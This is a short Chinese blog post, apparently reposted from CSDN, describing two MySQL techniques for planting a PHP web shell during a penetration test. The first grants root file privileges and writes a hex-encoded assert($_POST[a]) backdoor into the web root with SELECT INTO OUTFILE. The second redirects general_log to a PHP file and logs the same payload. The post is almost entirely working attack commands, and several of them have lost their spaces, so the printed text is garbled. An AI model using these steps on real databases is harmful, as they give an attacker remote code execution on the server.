渗透测试中Mysql两种常规利用方法

我们一般会选择两种方法,使用intooutfile 或者用general_log。

我们先将文件写入的权限打开,然后使用selectinto语句往路径里面写入一个shell

updatemysql.user set file_priv='Y' where user='root';

flushprivileges;

selectconcat("'",0x3C3F7068702061737365727428245F504F53545B615D29203F3E)into outfile '../webroot/test.php';

updatemysql.user set file_priv='N' where user='root';

flushprivileges;

我们先把日志文件更改为一个php文件,然后使用select语句任意查询一条带有恶意攻击的语句,然后我们的攻击语句就会被写入到日志里面也就是一个php文件,达到getshell的目的

setglobal general_log = on;

setglobal general_log_file = '../webroot/test.php';

select'<?php assert($_POST[a]) ?>';

setglobal general_log = off;

发布了44 篇原创文章 · 获赞 12 · 访问量 5529

猜你喜欢

转载自blog.csdn.net/qq_39326816/article/details/103809358
今日推荐